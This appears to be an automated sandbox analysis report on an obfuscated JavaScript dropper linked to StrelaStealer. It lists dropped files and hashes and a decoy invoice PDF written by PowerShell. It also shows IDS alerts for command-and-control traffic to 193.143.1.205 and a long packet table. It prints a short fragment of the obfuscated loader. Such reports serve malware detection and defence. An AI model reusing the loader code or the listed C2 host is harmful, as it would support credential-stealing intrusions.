SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbt:Z
MD5:	67ECC758CB231A9864CCD25572257E02
SHA1:	33C6901B7C9A8F89A11FCB7D8E66A0E75290D6CF
SHA-256:	6631D0164BC320B6DE9418DEF7AA87B063E23DAC7807217780BDA05FECC8B70E
SHA-512:	BF87BE2B860CF7E8CB63176EDBB5DE3943586D92487C44FB0DA3B70A9133090F03E23CCC3EBD22235F0432353994EA09EE23A96461843CB869FA1272F9C5D5A4
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3bdc3946-a70f-4c4f-be6f-557d8ff99268.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:GnkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:TwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	1BD534064333EF46DEB2C256C386C4F4
SHA1:	4C7FFEDD59D251251A5CFD749DE8204B91182FFD
SHA-256:	E2A22A9F67A4E0095827A9E34CF1BD035C5CED5DCE3DCB2616365157E67816E9
SHA-512:	41AA1541221FD366F026E21429A5344874700F05FBE89CA70DC2CA1D157B1F015DDEFBAA6BF83F957327B9F346FF45553AADB3943542A25C2672D3FD176EB105
Malicious:	false
Preview:	...........}.s.H....W`E.........M9h...q..p......%..!q.p....~..2......DlWtW!)?_.\|....?..?.s.w1.i..G...h6.]..y...p..m.b..N..rr..F..Xc...l.4.."..Q.... hL.p......s...x6..:.....x.~.6.Q..~......~b7..k.l......Yc.G[....hY3...C..n..\|.'6......i4f...,.."...O.b...x..,..jgc..bTn....,u.F..0......V.K,u..p....X.wAap...+.G..v....i.z...E.Rj8.a.r..<@.q.'...!.4..]...\|..3...-.2...`...4..i...w......$0D.....i./a......Z.]..e.mj..c}.?.....o......c...W..+....c...W...?8...n.......U..7..O........@....'...^.z..=.m....o.o<..~....... ...C{......w.m.h.-Q...6.(..uk/w!...Z..n.....p.U........T^w..[....1l...../i......0..1U\|}../xS}.q..B\|.......h>....S....g...A.s6.=.&....~.\.......-N.p...._.xex.....}.r..q$..<.S;l=. ..P..55;....[.}.T......d.p..vd'vl.].DN..o...................D...].......I}.t...D`?..n.A.zT..:@.`S5.K..,R....h...XzT....F..Xt...R...+N.....ee...P...F+C.....dq...r..5..aP.zY....c.f/..Pn...:f.>.Z..s.+.......7...O.C.#..6.....=.K.5{.%6,..Z.....DqZ.4....g-%.p..n...\

C:\Users\user\AppData\Local\Temp\acrocef_low\95eec831-c837-4d44-b2b8-cc8fbc0779c9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/VRmOWL07oXGZnYIGNP5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:tRbWLxXGZnZGT3mlind9i4ufFXpAXkru
MD5:	655AAE90FDDC72648A5EE17F9D88E614
SHA1:	47C955B297DC126D9E876253A0C39A5B4F80D58B
SHA-256:	4EB8A8AB8C820FA042CF74CD2E19AE3833EBEC36732EC1A041968A239C0E4844
SHA-512:	1959025E549134623DA3CC4EE0890AA81D89653CC4AC85A702351CD4E8841EB013D75A39A0D874A5E676D575F58B60B6813A56B19531F247E5B69F8D5138369D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e60047b2-b6a6-48ba-afbf-01767a14c2be.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f55f80ba-8401-4029-b3f2-6a64ebc54630.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (37093), with CRLF line terminators
Entropy (8bit):	4.900119802335949
TrID:
File name:	27328249893052310101.js
File size:	37'129 bytes
MD5:	4b54bd36db1cab0625ee4c7957823fcf
SHA1:	1be0c8a41061e1147a402ae9cf97fbd89459fb6e
SHA256:	3569edf2b717de8a79898a262714f4b9eb8ce479210d04a695dd70c29ed02443
SHA512:	152a70f8e57a29b6e10c9dd724966c2883be1b9886a26b3a3d37015ba44829acd0edbf156bdf807d55bdc446e2a5a8f30157d65e7fc254855e1d4e286103dcf5
SSDEEP:	384:HfDBNd8iBGDhXNijC8PpBBjfCNe8eI8N8ehZ8ePn8qK+8q5OYhKxQe9Zlvm87fNq:Hzd8h6CgdihNaf
TLSH:	76F21F6FF50AC721BAC6E1F90D1053610683317B76C4CC266FAA149F41A45B6CAFA1BF
File Content Preview:	function elseftj(){exdwpnrjx=this;..exdwpnrjx[iqrchhk+iotzld+lbayqwyut+xkjygog](jyibylofm+xkjygog+oitdznqxz+lbayqwyut+oajidmjgh+ihzume+zblvh+vfzfwus+aygimpa+sxfhjqcit+srtdecfz+aygimpa+wcnvbnbxi+srtdecfz+sxfhjqcit+djnrm+vsdwugd+wcnvbnbxi+nlwgib+aygimpa+ofp

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-16T09:17:00.806668+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-16T09:17:00.806668+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-16T09:17:03.564280+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 16, 2025 09:16:59.982260942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:16:59.987238884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:16:59.987348080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:16:59.990251064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:16:59.995079041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.806566954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.806612015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.806648016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.806668043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.806680918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.806715012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.806747913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.806747913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.806781054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.806813955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.806823969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.806845903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.806859016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.806880951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.806919098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.811755896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.811785936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.811850071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.863472939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.863507032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.863689899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.931608915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.931657076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.931694031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.931700945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.931798935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.932147026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.936378002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.936419964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.936455011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.936486006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.936495066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.936549902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.941109896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.941147089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.941195965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.941221952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.941384077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.941426039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.941482067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.945899010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.945934057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.945959091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.946336031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.946369886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.946404934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.950690031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.950725079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.950754881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.951052904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.951088905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.951112986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.951132059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:00.951184034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:00.994110107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.034109116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.034145117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.034164906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.034269094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.034311056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.062160015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062180042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062191010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062202930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062215090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062227011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062238932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062249899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062261105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062272072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062285900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062295914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062306881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062318087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062330008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062335968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.062342882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062355995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062369108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062385082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062397003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062407970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.062412024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062423944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062443018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062450886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.062453985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062464952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062474012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.062478065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062498093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.062513113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062524080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.062525988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.062578917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.063363075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.063383102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.063389063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.063473940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.063541889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.063558102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.063595057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.064230919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.064244032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.064258099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.064270020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.064281940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.064299107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.064348936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.065006971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.065670013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.065685987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.065745115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.083489895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.083616018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.083761930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.121479988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.121527910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.121613979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.159219980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.159260035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.159332991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.159333944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.159373999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.159410000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.159434080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.159461975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.159512997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.181808949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.181842089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.181950092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.181999922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.182037115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.182071924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.182094097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.182104111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.182138920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.182152987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.182420969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.182456017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.182466984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.182507038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.182552099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.182560921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.182595015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.182650089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.182857990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.182866096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.182902098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.182929039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.182935953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.182971954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.182984114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 16, 2025 09:17:01.183006048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.183041096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 16, 2025 09:17:01.183053970 CET	49704	80	192.168.2.5	193.143.1.205
